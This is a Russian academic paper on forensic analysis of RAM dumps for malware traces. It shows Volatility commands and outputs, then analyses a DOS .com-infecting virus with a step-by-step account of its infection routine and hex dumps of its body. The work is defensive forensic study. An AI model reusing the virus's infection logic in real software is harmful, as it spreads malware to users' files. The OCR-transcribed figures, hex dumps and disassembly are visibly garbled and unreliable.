Cloud of Science. 2018. T. 5. № 2 http:/ / cloudofscience.ru
Методика обнаружения следов вредоносного программного обеспечения в дампах оперативной памяти
В. Ю. Иванов*, К. Ю. Жигалов** ***, А. И. Алчинов**, Ю. А. Павенский*
*Московский государственный университет МВД России имени В. Я. Кикотя 117437, Москва, ул. Академика Волгина, 12
**Институт Проблем Управления РАН им. В. А. Трапезникова 117997, Москва, ул. Профсоюзная, 65
***Московский технологический институт 117292, Москва, ул. Кедрова, д. 8, корп. 2
e-mail: kshakalov@mail.ru, ivsl71@mail.ru
Аннотация. Приведены результаты сравнительного анализа общих черт резидентных и нерезидентных вирусов с точки зрения языка программирования Assembler. Кроме того, всесторонне проанализированы методы противодействия изучению следов вредоносного исполняемого кода в дампах оперативной памяти. На основе результатов проведенных исследований в работе также выполнен анализ обнаруженного вредоносного программного обеспечения и изучение оставленных им следов, а также даны рекомендации, которые позволят существенно сократить время специалиста при проведении подобных мероприятий. Ключевые слова: антиотладка, антидизассемблирование, антизапуск в виртуальных машинах, операционная система Sift Workstation 3.0, Assembler.
1. Введение
В настоящее время в мире насчитывается огромное количество преступлений в области информационных технологий и их количество только растет со временем. Ежегодные убытки от кражи/изменения или удаления информации исчисляются сотнями миллиардов долларов. Для эффективного противостояния такого рода преступлениям необходимо выработать доказательную базу и методы обнаружения следов киберпреступлений.
Обнаружить следы вредоносного программного обеспечения в компьютере, а также в том, что именно оно делало, можно следующими способами:
- использование firewall (сетевой экран позволяет эффективно противостоять большинству атак через сеть; основным минусом данного реше-
В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов
Ю. А. Павенский
ния является отсутствие доказательной базы и сложность использования большинством пользователей по причине необходимости досконального знания процессов сетевого взаимодействия конечным пользователем);
- обработки стеков памяти и содержания файлов в режиме реального времени (этим способом пользуется большинство антивирусов, о чем, в свою очередь, знают и разработчики вредоносных программных средств; использование антивирусов в качестве доказательной базы практически невозможно, кроме того, антивирусы в автоматизированном режиме практически не способны блокировать работу новых вредоносных средств);
- изучение дампов оперативной памяти (к сожалению, данный метод эффективен только после заражения т. к. исследование проводится постфактум, тем не менее с его помощью вполне реально восстановить большую часть картины произошедшего и собрать необходимую в дальнейшем расследовании доказательную базу).
Статья посвящена как возможным вариантам исследования возможного использования современных технологий и инструментов анализа дампов оперативной памяти для обнаружения следов вредоносного кода, так и существующим вариантам противодействия такого рода изучению.
2. Особенности вирусов с точки зрения языка программирования Assembler
Для начала введем необходимые понятия и определения. Вирус — это программа, написанная на C, Virtual Basic, ассемблере и других языках программирования, используемая для заражения, размножения прочих программ без участия лица, его написавшего [1].
Принцип работы вируса состоит в том, что он, для начала, определяет — была ли произведена его загрузка вместе с каким-нибудь файлом или это его первичная загрузка. Затем он находит первый попавшийся файл и проверяет его на наличие заражения этим же вирусом. Если файл им заражен, то далее, как правило, происходит поиск следующего файла, а если нет — то заражает его. Все эти действия происходят очень быстро и для рядового пользователя практически незаметно.
По объему памяти вирус может быть разным — здесь все зависит от программиста, его профессионализма и языка, на котором пишется вирус, а также от того, что он хотел бы сделать с компьютером-жертвой или его файлами. Средний размер вируса составляет 500-600 байт.
Резидентная программа (резидент) — это программа, которая постоянно находится в оперативной памяти [2]. В качестве примера такого резидента можно отнести драйвер клавиатуры, мыши, всевозможные антивирусы, которые занимаются слежкой за работой программ и сообщают о ее действиях пользователю. Главная задача резидентной программы состоит в перехвате того или иного прерывания для того, чтобы программист или программы могли обратиться к ней.
Прерывание — это некоторая процедура или, другими словами, подпрограмма, которая имеет не название, а номер. Эти номера, как правило, зарезервированы BIOS компьютера или какой-нибудь операционной системой, например Linux, Mac OS, Windows и т. п [2]. Определено 256 прерываний.
Обработчик прерывания — некоторая подпрограмма, которая временно или постоянно расположена в памяти. Считается, что подпрограмма первая получает управление, выполняет определенные действия, а затем осуществляет передачу управления оригинальному обработчику.
Прерывания делятся на программные и аппаратные [2].
Программные прерывания вызывает та или иная программа посредством использования команды int.
Аппаратные прерывания вызываются автоматически процессором или же аппаратурой компьютера при возникновении тех или иных событий. При этом процессор осуществляет прекращение выполнения текущей программы, сохраняет в стеке регистры SP, SS и флаги, вызывает соответствующее прерывание, а затем восстанавливает сохраненные регистры и продолжает выполнение текущей программы.
Обработчик прерывания вредоносного программного обеспечения может выглядеть по-разному, в зависимости от целей злоумышленника.
3. Методы противодействия изучению следов вредоносного исполняемого кода
Для начала изучения данного вопроса следует определиться с существующими понятиями и определениями.
Дизассемблер — это транслятор, который основан на преобразовании машинного кода, объектного файла или библиотечных модулей в текст программы на языке ассемблера [1, 2].
Отладчик — это программа, назначением которой является поиск ошибок в других программах, ядрах операционных систем, SQL-запросах и других видах кода.
В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский
К методам защиты от изучения вредоносного исполняемого кода относятся [3]:
- антиотладка — заключается в использовании определенных Windows API функций, ручной проверке «флагов», проверке системных значений (ключей реестра) и определении программного поведения;
- антидизассемблирование — заключается в шифровании критичного кода программ, скрытии команд, использовании нестандартных способов передачи управления, установке префикса программного сегмента (PSP) перед некоторыми командами;
- антизапуск в виртуальных машинах — заключается в определении определенных выполняющихся процессов, ключей реестра, оборудования виртуальных машин (USB-драйвера, сетевой карты, BIOS, процессора и т. д.), MAC-адресов, библиотек динамической компоновки (dll), значений счетчика TSC, регистров таблиц дескрипторов (IDT, LDT и др.) и специфичность I/O порта относящихся к виртуальным машинам.
4. Использование современных технологий и инструментов анализа дампов оперативной памяти, способствующих обнаружению следов вредоносного исполняемого кода
Экспертная задача: исследование информации, хранящейся в файле. В данном случае будет устанавливаться только та информация, которая присутствовала в ОЗУ на момент снятия дампа. К такой информации можно отнести: список выполняющихся процессов; ветви реестра, которые были задействованы при работе в операционной среде; список процессов, производящих обмен пакетами как в сети Интернет, так и в локальной сети (LAN), с указанием подробных сведений о данных пакетах; инструкции программ, которые были оставлены в памяти после их выполнения; изображения, которые просматривались пользователем операционной среды и т. д.
В зависимости от требуемой информации методы исследования делятся на: автоматизированный; ручной; комплексный.
Оборудование, рекомендуемое к использованию:
- виртуальная машина (рекомендуется использовать VMware Player или Oracle VM VirtualBox);
- операционная среда, при использовании автоматизированного метода — Sift Workstation 3.0, а при использовании ручного — на усмотрение эксперта;
- специальное программное обеспечение, предназначенное для отладки и дизассемблирования (при использовании ручного метода).
Методика подразумевает владение экспертом: базовыми знаниями языка Assembler; базовыми знаниями об устройстве и умением работать в UNIX-подобных операционных системах, операционных системах семейства Windows и MAC OS. Методика подразумевает использование экспертом творческого подхода и именно поэтому ему необходимы вышеперечисленные знания, без которых установить ту или иную информацию в истинной форме невозможно.
В качестве примера и общего понимания, как использовать данную методику, рассмотрим два основных метода: метод проведения исследования, основанный на использовании стандартных средств операционной системы Sift Workstation 3.0; метод проведения исследования, основанный на использовании Assembler.
4.1. Метод проведения исследования, основанный на использовании стандартных средств операционной системы Sift Workstation 3.0
В ходе проведения исследования были использованы: дамп оперативной памяти (файл ram.vmem); виртуальная машина (VMware Player версии 6.0.3); операционная система Sift Workstation 3.0.
При выполнении в режиме терминала команды: vol.py -f /home/sansforensics/Desktop/ram.vmem imageinfo
для определения профиля, под которым будет проходить дельнейшее исследование дампа оперативной памяти. В данном случае был определен следующий профиль: Win7SP1x64
При введении команды vol.py -f /home/sansforensics/Desktop/ram.vmem --profile=Win7SP1x64 pstree для просмотра выполняющихся процессов в оперативной памяти был обнаружен,
троянский процесс mimi.exe и подозрительный процесс под названием 5:2878BK, который не имеет расширение *.exe (см. рис. 1) [3].
Рисунок 1. Просмотр списка выполняющихся процессов на момент снятия дампа
В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский
Имеет смысл рассмотреть сетевую активность выполняющихся процессов в оперативной памяти, введя команду
vol.py -f /home/sansforensics/Desktop/ram.vmem --profile=Win7SP1x64 netscan
В нашем примере, обнаружена подозрительная сетевая активность со стороны
процесса, расположенного по смещению
0x3dbec910 TCPv4 192.168.180.131:49212 192.168.1.100:8080 ESTABLISHED 1424 5:2878BK.
Это говорит о том, что на момент снятия дампа оперативной памяти данный процесс осуществлял передачу сетевых пакетов с интерфейса
192.168.180.131:49212 на интерфейс 192.168.1.100:8080 (рис. 2).
root®slftworkstatlon:-# vol.py -f /home/sansforenslcs/Desktop/ram. iwn --proflle=Hln7SPlx04 netscan
Volatility Foundation Volatility Framework 2.4
Offset(P) Proto Local Address Foreign Address State Pld Owner Created
0x3dd5c090 UDPV4 0.0.0.0:1702 1788 svchost.exe 2010 09 00 1
: oe : 05 uTooeee
0x3db03ef0 TCPV4 0.0.0.0:5357 0.0.0.0 0 LISTENING 4 System
Bx3db63efO TCPvO :::5157 : : :0 LISTENING 4 System
0x3dcl2510 TCPV4 0.0.0.0 0 LISTENING 4 System
Bx3dcl2S10 TCPvO : ::445 :::0 LISTENING 4 System
9x3dca6c70 TCPv4 0.0.0.0 0 LISTENING 484 servlces.exe
0x3dcbada0 TCPV4 0.0.0.0 0 LISTENING 484 servlces.exe
Bx3dcbada0 TCPvO : ::49155 : : :o LISTENING 4B4 servlces.exe
0x3ddl0220 TCPV4 0.0.0.0:49150 0.0.0.0 0 LISTENING 492 lsass.exe
Sx3ddl6220 TCPvO : : 49150 : : :0 LISTENING 492 lsass.exe
Bx3ddl0340 TCPv4 0.0.0.0:49150 0.0.0.0 0 LISTENING 492 lsass.exe
0x3d6f2cf0 TCPV4 - : 49208 192.108 180.255:80 CLOSED 328 svchost.exe
Bx3d929750 TCPV4 - : 5357 192.108 180.1:50039 CLOSED 4 System
Bx3dada0e0 TCPV4 127.0.0.1:5357 127.0.0 1:49240 CLOSED 4 System
Bx3db015b0 TCPv4 - :0 72.135. 185.14:0 CLOSED 990 svchost.exe
Bx3db01b30 TCPvO - :0 4887 : b90e : 80f a : f f f f : 4887 : Ь90е : 80f a : f f f f :0 CLOSED »90 svchos
Bx3db030i0 TCPV4 127.0.0.1:5357 127.0.0 1:49248 CLOSED 4 System
Bx3dbec910 TCPV4 192.108.180.131:49212 192.108 1.100:8080 ESTABLISHED 1424 5:287B8K (¡J IS
0x3deBe010 UDPv4 0.0.0.0:3702 17B8 svchost.exe 2010 09 00 1
:08:05 UTC.0Ô00
Bx3deBe010 UDPvO : : : 3702 •I* 1788 svchost.exe 2010 09 00 1
:0B:0S UTC»0000
Bx3deboleo U0PV4 0.0.0.0:52810 990 svchost.exe 2010 09 00 1
: OB : 05 UTC+0000
Bx3deb01e0 UDPvO :::S2810 990 svchost.exe 2010 09 00 1
Рисунок 2. Сетевая активность выполняющихся процессов в оперативной памяти
Для исследования реестра необходимо ввести команду (рис. 3) vol.py ^ /home/sansforensics/Desktop/ram.vmem --profile=Win7SP1x64 hivelist
root@siftworkstation:~# vol.py -f /home/sansforensics/Desktop/ram.vnen --profile=Win7SPlx64 hi.veli.st Volatility Foundation Volatility Framework 2.4 Virtual Physical Name
0xfffffBa00000d230 0x0000000027204230 [по папе] OxfffffBaOOOO24O10 OxOOOOOOOO2720f010 \REGISTRY\MACHINE\SYSTEM OxfffffBa0000S21f0 0x0O0O0OOO272bdlf0 \REGISTRY\MACHINE\HARDWARE 0xfffffBaO002b4O10 0x000000O02171b010 \77\C:\Users\Client\ntuser.dat 0xfffffBa0O0dla010 OxOOOOOOOOle912010 \Devlce\HarddiskVolumel\Boot\BCD 0xfffffBa0O0d6dO10 OxOOOOOOOOlSaaOOlO \SystemRoot\System32\Config\SOFTWARE 0xfffffBa0OOe4SO10 OxOOOOOOOOlcba2010 \SystemRoot\System32\Config\DEFAULT 0xfffff8aO00fe2010 0x0000000016404010 \SystemRoot\System32\Config\SECURITY 0xfffffBa0OlO2a410 0x0000000015a46410 \SystemRoot\System32\Config\SAM
0xfffffBaOOlOe9010 0x0O0000OO14ec8010 \7 7\C:\Wtndows\ServiceProfiles\NetworkService\NTJSER.DAT 0xfffffBa0O1177010 0x0OO0O0O014eb4010 \7 7\C:\VJindows\ServiceProfiles\LocalService\NTUSER.DAT OxfffffBaOO1622410 0X0000000006653410 \7 7\C:\Users\Client\AppData\Local\Microsoft\Windows\UsrClass.dat 0xfffffBa001d3a010 0x0000000000200010 \77\C:\Systen Volume Information\Syscache.hve root@siftworkstation:~8 |
Рисунок 3. Результат просмотра использованных ветвей реестра
На последнем этапе необходимо ввести команду для просмотра кода выполняющегося процесса 5:2878BK (рис. 4) [4]
vol.py /home/sansforensics/Desktop/ram.vmem --profile=Win7SP1x64 таИт((
Process: 5:2878ВК Pld: 1424 Address: 6x2556666
vad Tag: vadS Protection: PAGE_EXECUTE_READWRITE
Flags: ComltCharge: 99, MenConmlt: 1, PrlvateMemory: 1. Protection: 6
6x62558086 4d Sa 96 66 63 68 66 86 64 86 68 86 ff ff 00 88 HZ..............
0X02550010 be 06 00 00 00 00 00 00 40 00 00 06 06 66 68 88 ........e.......
6X02SS6026 68 66 86 86 66 68 68 86 66 66 68 88 86 66 00 88 ................
6x62556636 68 86 88 86 86 68 68 86 66 68 88 86 16 61 68 88 ................
Process: 5:2878BK flfflfl Pld: 1424 Address: 6x616686
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: ConnltCharge: 241, HenConnlt: 1, PrlvateNenory: : 1, , Protection: 6
6x86618686 4d 5a e8 88 86 86 66 5b 52 45 55 89 e5 81 C3 62 nz.....[REU____b
6x66616616 17 66 68 ff d3 81 C3 97 82 6e 66 89 3b 53 6a 64
6x66616626 56 ff de 66 66 68 66 86 66 66 66 68 68 86 00 66 P...............
6x68616636 66 66 66 66 86 68 66 86 66 66 66 66 f8 86 66 66
Рисунок 4. Просмотр кода процесса 5:2878BK
В данном случае, внутри исполняемого кода содержится заголовок «М2». Это говорит о том, что данный код выполняет функции стандартного файла с расширением *.ехе. Далее начинается ручной разбор кода данного процесса. Например, здесь вполне можно установить путем дизассемблирования, что часть кода данного процесса в промежутке от 4d до 00 включает в себя команды, указанные на рис. 5.
data 00000000 4d dec ebp
data 09000301 5a pDp edx
data 09000002 eS00000090 call loc_ 00000007
data 00000007 5b pop ebx
data 00000008 52 push edx
data 00000009 45 inc ebp
data 0000000a 55 push ebp
data 0000000b 89e5 mov • .;,-"> II
data 0000000d 81C362170000 add еЬх,0x1762
data 00000013 ffd3 call ebx
data 00000015 81c397S20e00 add еЬх.0хе8297
data 0000001b 893b mov DWORD PTR [ebx~Ledi
data 000000id 53 push ebx
data 0000001c 6a04 push 0x4
data 00000020 50 push eax
data 00000021 ffdo call eax
data 00000023 0000 add BYTE PTR [eax ,al
data 00000025 0000 add BYTE PTR [eax , al
data 00000027 0000 add BYTE PTR [eax ,al
data 00000029 0000 add BYTE PTR [eax , al
data 0000002b 0000 add BYTE PTR [eax j al
data 0000002d 0000 add BYTE PTR [eax ,al
data 0000002f 0000 add BYTE PTR [eax , al
data 00000031 0000 add BYTE PTR [eax j al
data 00000033 0000 add BYTE PTR [eax ,al
data 00000035 0000 add BYTE PTR [eax , al
data 00000037 0000 add BYTE PTR [eax j al
data 00000039 0000 add BYTE PTR [eax ,al
data 0000003b 00f8 add а 1 ^ Ып
data 0000003d 0000 add BYTE PTR [eax j al
data 0000003f 00 .byte 0x0
Рисунок 5. Результат дизассемблирования части кода процесса 5:2878BK
В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский
4.2. Метод проведения исследования, основанный на использовании языка программирования Assembler
В ходе проведения исследования были использованы:
- дамп оперативной памяти (файл 20171118.mem);
- вредоносное программное обеспечение (файл VIRUS.exe, код которого приведен в приложении А);
- антивирусный онлайн-сервис VirusTotal [4, 5];
- виртуальная машина (Oracle VM VirtualBox) [5-8];
- операционная система (Windows XP);
- дизассемблер (IDA Pro Advanced);
- отладчик (OllyDBG, Emu8086 и AFD Pro);
- HEX-редактор (WinHex).
Допустим, перед экспертом поставлен вопрос: детектируется ли представленный на исследование файл VIRUS.exe программой типа «антивирус» как вредоносный? Если да, то производился ли его запуск в операционной системе пользователя? [6]. Чтобы ответить на вопрос, необходимо отсканировать файл VIRUS.exe антивирусным программным обеспечением, которое подтвердило бы, что данный файл действительно является вредоносным. В качестве примера сканирование производилось с использованием онлайн-сервиса VirusTotal, результат выполнения которого выглядит следующим образом (рис. 6-8).
Рисунок 6. Результат сканирования файла VIRUS.exe с использованием онлайн-сервиса VirusTotal. Экран 1
Рисунок 7. Результат сканирования файла VIRUS.exe с использованием онлайн-сервиса VirusTotal. Экран 2
TheHacker Trend M ¡с го
Trend M ¡с го-Но и se Call
Trustlook
VBA32
VI PRE
Vi Robot
Webroot
WhiteArmor
Zillya
Zoner
© © © © © © © © © ©
20180301 20180301 20180301 20180301 20180301 20180301 20180301 20180301 20180223 20180301 20180301
Рисунок 8. Результат сканирования файла VIRUS.exe с использованием онлайн-сервиса VirusTotal. Экран 3
Необходимо определить, исходя из имеющегося дампа оперативной памяти, был ли осуществлен запуск файла VIRUS.exe. Для этого проведем исследование в два этапа:
- определим, из каких инструкций состоит файл VIRUS.exe и какие следы он оставляет в памяти в результате их выполнения;
- произведем поиск оставленных следов вредоносным программным обеспечением в дампе оперативной памяти.
В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский
Во время проведения исследования необходимо иметь в виду, что существуют различные методы противодействия, используемые злоумышленниками, направленные на недопущение изучения кода; ассемблирование является однонаправленным процессом с потерями, поэтому автоматическое восстановление исходного текста невозможно.
Одной из основных проблем дизассемблирования заключается в синтаксической неотличимости констант от адресов памяти (сегментов и смещений). Потребность распознавания смещений объясняется необходимостью замены конкретных адресов на метки, действительное смещение которых определяется на этапе ассемблирования программы. Сказанное можно проиллюстрировать следующим примером: рассмотрим исходную программу (приложение А). При ассемблировании первой строки, состоящей из инструкции push offset Init, будет занесен в стек адрес расположения указанной метки, т. е. значение 01B4h. Это влечет за собой потерю информации — теперь уже нельзя однозначно утверждать, как выглядел исходный текст, т. к. ассемблирование offset Init и 01B4h дает одинаковый результат, т. е. это говорит о том, что функция ассемблирования не инъективна.
Для выполнения описанных выше действий необходимо: запустить виртуальную машину с установленной операционной системой (в нашем случае, Windows XP); открыть в ней файл VIRUS.exe с использованием нескольких отладчиков, таких, как: AFD Pro, OllyDBG, Emu8086 и дизассемблера IDA Pro Advanced; проанализировать подробнее, какие данные файла VIRUS.exe отобразила каждая из вышеперечисленных программ (см. приложения Б-Д).
1. OllyDBG. Следует отметить что, результат дизассемблирования данным отладчиком (приложение Б) не является верным и на экране представлен хаотичный набор данных. В качестве сравнения возможно привести код, с которого должен начинаться файл VIRUS.exe: 68 B4 01 push offset Init или, что является одним и тем же, 68 B4 01 push 01B4. Отладчик OllyDBG дизассемблирует первую строку в код 6A 18 push 18, что не является верным и причин возникновения такого результата может быть множество, начиная с недоработки самого механизма работы отладчика и заканчивая влиянием вредоносного кода на его работу. В данном случае отладчик запутался из-за своего внутреннего алгоритма, не понимая, что инструкции (приложение А) 68 B4 01 push offset Init C3 ret аналогичны стандартной инструкции безусловного перехода jmp Init. Данная ситуация подтверждает, что, исследуя тот или иной код программы, необходимо пользоваться разными отладчиками.
2. IDA Pro Advanced. Это одновременно мощный и непростой в работе рядовому пользователю инструмент, который пользуется большой популярностью среди людей, которые профессионально занимаются реверс-инжинирингом. В ходе проводимого исследования данная программа представила часть кода файла
VIRUS.exe в эквивалентной форме, другая часть кода, выделенная зеленым цветом, осталась нераспознанной (приложение В). Для получения цельной картины необходимо использовать некоторые встроенные возможности программы, которые состоят в применении различных антиобфускационных методов. В работе их не затрагиваем и просто посмотрим, что отобразили другие отладчики.
3. AFD Pro и Emu8086. Данные отладчики, как и дизассемблер IDA Pro Advanced, смогли в полной мере в эквивалентной форме представить код файла VIRUS.exe (приложения Г, Д).
В результате проведенного исследования кода файла VIRUS.exe было установлено его следующее последовательное поведение.
1. Производится полное копирование кода вируса в область 7-й видеостраницы и его последующее исполнение.
2. По адресу BF00:0000 устанавливается область обмена дисковыми данными (DTA).
3. Производится поиск файлов с расширением *.com.
4. Если найденный файл больше 64 Кбайт, то начинается поиск заново (происходит переход к п. 3. Если меньше, то производится последующее считывание его первых 6 байт.
5. Если в найденном файле по смещению +4h от начала находится значение 1122h, то начинается поиск заново (происходит переход к п. 3). Если нет, то пишется в «хвост» найденного файла тело вируса.
6. После тела вируса пишутся первые 6 настоящих байт «файла-жертвы».
7. Закрывается файл.
8. Создается искусственный переход на метку инициализации вируса путем вычисления размера файла.
9. Снова открывается тот же файл.
10. Пишутся первые 6 байт перехода на тело вируса, включающие значение 1122h для опознавания того, что файл уже заражен этим вирусом.
11. Закрывается файл.
12. Восстанавливаются первые 6 реальных байт «файла-жертвы» в памяти, которые сохранены в «хвосте» «файла-жертвы» (см. п. 6).
13. Передается управление «файлу-жертве».
После исследования кода файла VIRUS.exe можно с уверенностью сказать, что перед нами нерезидентный вирус. А это говорит о том, что сразу же после его исполнения в первом свободном сегменте данные могут быть изменены (затерты) любой другой программой. Но, возможно, данный вирус оставил свои следы в области 7-й видеостраницы, которая, как правило, никакой программой не используется для хранения своих инструкций, так как обычно любой пользователь по умол-
В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский
чанию работает с нулевой видеостраницей. Для этого открываем HEX-редактор WinHex и выбираем в нем дамп оперативной памяти (файл 20171118.mem). Далее необходимо по сигнатуре файла VIRUS.exe найти тело вируса. В данном случае были получены подтверждения того, что файл VIRUS.exe действительно был запущен, о чем свидетельствуют следы в виде определенных сигнатур, оставленные данным файлом в оперативной памяти компьютера (рис. 9, 10 и приложение Е). Можно увидеть процесс заражения файлом VIRUS.exe другого файла (рис. 10).
□ Е 391Е930 □ 1 8В D8 СЗ FF FF 83 ЗЕ 14 01 FF 74 08 8B IE 14 .<ШГЯЯГ>..Ht.(..
□ Е 591Е940 □ 1 В 4 ЗЕ CD 21 СЗ 4Е 33 С9 ВА 30 01 CD 21 c№ . Г>Н1Гг'ЫЗЙе0 . Н1Г
□ Е 391Е950 2А 2Е 63 6F 6D 00 33 D2 33 С9 В 4 4F CD 21 СЗ 2E *. com. ЗТЗЙг'ОШГ.
0Е 391Е960 А1 1С 00 0В СО 75 68 2Е 8В 2Е 1А 00 E 8 B7 FF 72 У. . . Auh. < . . . и ■ яг
0Е 391Е970 5Е В 4 3F В 9 06 00 ВА 14 02 CD 21 72 52 8B DA 81 ЛГ?№. . е. .Н!rRi ЪГ
□ Е 391Е980 7F 04 22 11 74 49 В 8 02 42 8В IE 14 01 33 C9 36 □ . ".tie.В< . . .ЗЙЗ
□ Е 591Е990 V2 CD 21 72 ЗА В 4 40 В 9 0Е 01 ВА 00 01 CD 21 72 1 ТНi г: r'OHS. . е . . HI г
□ Е 5 91Е9А0 2Е В 4 40 В 9 06 00 ВА 14 02 CD 21 72 22 E8 86 . Г@№..е..HIг"и+я
□ Е 591Е9В0 | 81 С5 В 4 01 36 89 2Е 01 01 Е8 6A FF В 4 40 В 9 06 ГЕг\ 6V.. . . HjHrgi!.
0Е 391Е9С0 00 16 1F ВА 00 01 CD 21 0Е IF E 8 69 FF F 8 СЗ E 8 ...е..НI..и1яшГи
0Е 391E9D0 ®4 FF F 9 СЗ 60 ЕВ 00 00 5В 2D В 8 01 68 00 BF ofe с1ящГ " и. . Х-ё . h . 1.
□ Е 391Е9Е0 BF 06 01 8В F7 03 F 0 В 9 0Е 01 F3 A4 BB 00 02 | I. .< ч.р№. .у»». . .
□ Е 391E9F0 D8 0Е 53 ВВ DB 01 68 00 BF 53 CB 0E IF В 4 1A | Ш. S»H. h. 1 SJI. . г\ 3
□ Е 3 91ЕАОО D2 CD 21 Е8 40 FF 72 0А Е8 54 FF 73 05 E8 46 F) Т Н!и @я г.иТяэ.HFH
□ Е 391ЕА10 73 F 6 BE 0Е 02 BF 00 01 16 07 В 9 06 00 F3 A4 eft su.s. .1. . . .№. .уял
0Е 3 91ЕА20 4е IF В 4 1А ВА 80 00 CD 21 61 68 00 01 СЗ 90 90 . . г\ еЪ. Hi ah. . rF|F|
0Е 3 91ЕА30 фо 90 CD 20 00 00 00 00 FF FF FF FF 82 79 47 11 titlH .... яяяя, yG.
Рисунок 9. Результат, полученный в результате поиска файла VIRUS.exe
0D062140 0D062150 0D062160 0D062170 0D062180 0D062190 0D0621A0 0D0621B0 0D0621C0 0D0621D0 0D0621E0 0D0621F0 0D0 622 0 0 0D062210 0D062220 0D062230 0D062240 0D062250
D8 СЗ 05 00 83 ЗЕ 14 01 FF 74 08 8В 1Е 14 01
в 4 зе cd 21 сз в 4 Не 33 су ва 3u 01 cd 21 сз 2а
2е 63 6f 6d 00 33 d2 33 с9 в 4 4f cd 21 сз 2е а1
1с 00 ob со 75 68 2е 8в 2е 1а 00 е 8 в7 ff 72 5е
в 4 3f в 9 06 00 ва 14 02 cd 21 72 52 8в da 81 7f
04 22 11 74 49 в 8 02 42 8в 1е 14 01 33 с9 33 d2
cd 21 72 за в 4 40 в 9 0е 01 ва 00 01 cd 21 72 2е
в 4 40 в 9 06 00 ва 14 02 cd 21 72 22 е8 86 ff 81
с5 в 4 01 36 89 2е 01 01 е 8 6а ef в 4 40 в 9 06 00
16 1f ва 00 01 cd 21 0е 1f е8 69 ff f8 сз е8 64
ff f 9 сз 60 е 8 00 00 58 2d в 8 01 68 00 bf 07 bf
06 01 8в f7 03 f 0 в 9 0е 01 f3 а4 вв 00 02 03 d8
0е 53 вв db 01 68 00 bf 53 св 0е 1f в 4 1а 33 d2
cd 21 е 8 40 ff 72 0а е 8 54 ff 73 05 е 8 46 ff 73
f 6 be 0е 02 в f 00 01 16 07 в 9 06 00 f 3 a4 св 0е
if в 4 1а ва 80 00 cd 21 61 68 00 01 сз 21 сз 48
0D062260
65 бс 6C 21 СЗ 48 65 6С 6С FF FF FF 82 79 47 11
FF FF FF FF 82 79 47 11 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
<ШГ..г>..Ht.<...
Г>Н!Гг'ЫЗЙеО. Н!Г*
. com. ЗТЗИг'ОШГ. У ...Auh.<...и■ягА
г"?№. . е . .Hi rR< ЪГ □ .".tie.В<...ЗЙЗТ Н! г: ГЭ№. .е. . Н! г. ГЭ№. . е . .Hi г "и+яГ Ег\ 6V.. . . HjHrgp. . . . е . . НI . . и1яшГи<1 ящГ ^ и. .Х-ё.h.1.I . .<ч.р№. .у« ». . .Ш . S»H. h. 1 SJI. . г\ ЗТ Н!ивяг.hThs.hFhs ii,s . .1. . . .№. . у н л. . г\ еЪ. Hi ah. ЛГН i ell!ГНе11яяя,yG. яяяя,yG.........
Рисунок 10. Процесс заражения другого файла
5. Выводы
Возможны такие ситуации, когда необходимы доказательства для вынесения решения по делу в сфере высоких технологий. Кроме того, достаточно часто специалистам ИТ-компаний необходимо выяснить, что конкретно произошло на компьютерах пользователей или серверном оборудовании.
Результаты исследования могут быть полезны сотрудникам правоохранительных органов, ИТ-специалистам компаний, в качестве методики, позволяющей значительно расширить возможность установления новых сведений в виде следов, оставленных в результате незаконной деятельности. Кроме того, исследования могут быть полезны и в смежных областях, таких как обнаружение использования специализированного программного обеспечения сотрудниками компании, например, сервиса облачного хранения данных DROPBOX [10].
Следует отметить, что рассмотренная в статье методика не может быть защитой от вредоносного программного обеспечения т. к. анализ может быть осуществлен постфактум после заражения. Тем не менее, на основе предложенной методики возможно построение специализированного программного комплекса для работы в качестве защиты.
Литература
[1] Экзарян Д. А., Жадановская Н. П., Дегтярь Р. С. Верификация программного кода на языке high level assembler // Математические методы в технике и технологиях 2015, № 5 (75). С. 49-51.
[2] Кнут Д. Э. Искусство программирования. Т. 1. Основные алгоритмы. — М. : Вильямс, 2008.
[3] Климентьев К. Е. Компьютерные вирусы и антивирусы / Под ред. Д.А. Мовчана. — М. : ДМК-Пресс, 2015.
[4] Власов Д. В., Минаев А. С. Методы противодействия анализу исполняемых файлов в информационных системах // Информация и безопасность. 2014. Т. 17, № 2. С. 308311.
[5] Command Reference Mal. [Электронное издание] URL: https://github.com/ volatilityfoundation/volatility/wiki/Command-Reference-Mal
[6] Guo Z., Bhakta R., Harris I. G. Control-flow checking for intrusion detection via a real-time debug interface, Smart Computing Workshops (SMARTCOMP Workshops) // 2014 International Conference on Smart Computing Workshops (SMARTCOMP Workshops), — IEEE, 2014. P. 87-92.
В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов
Ю. А. Павенский
[7] Crane S. J., Volckaert S., Schuster F. et al. It's a TRaP: Table Randomization and Protection against Function-Reuse Attacks // Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security. — ACM, 2015. P. 243-255.
[8] Петухов С. Г., Жигалов К. Ю. Современные тенденции обеспечения защиты информации в малом и среднем бизнесе России // Прикладные исследования и технологии ART2016: Сборник трудов международной конференции. — М. : МТИ, 2016. С. 251-
[9] Симанин В. А., Жигалов К. Ю. Этапы преодоления систем защиты программного обеспечения // Прикладные исследования и технологии ART2017: Сборник трудов международной конференции. 2017. С.343-347.
[10] Wartell R., Mohan V., Hamlen K. W. et al. Securing untrusted code via compiler-agnostic binary rewriting // Proceedings of the 28th Annual Computer Security Applications Conference. — ACM, 2012. P. 299-308.
Авторы:
Вячеслав Юрьевич Иванов — кандидат технических наук, доцент кафедры специальных информационных технологий, Московский университет МВД России им. В. Я. Кикотя
Кирилл Юрьевич Жигалов — кандидат технических наук, старший научный сотрудник, Институт проблем управления РАН им. В. А. Трапезникова
Александр Иванович Алчинов — доктор технических наук, профессор, заведующий лабораторией № 22, Институт проблем управления РАН им. В. А. Трапезникова
Юрий Алексеевич Павенский — курсант, Московский университет МВД России им. В. Я. Кикотя
256.
Приложение А. Код вредоносного файла VIRUS.exe
1 2
3
4
5
6 7 В 9
10 11 12
13
14
15
16 17 1В
19
20 21 22
23
24
25
26 27 20
29
30
31
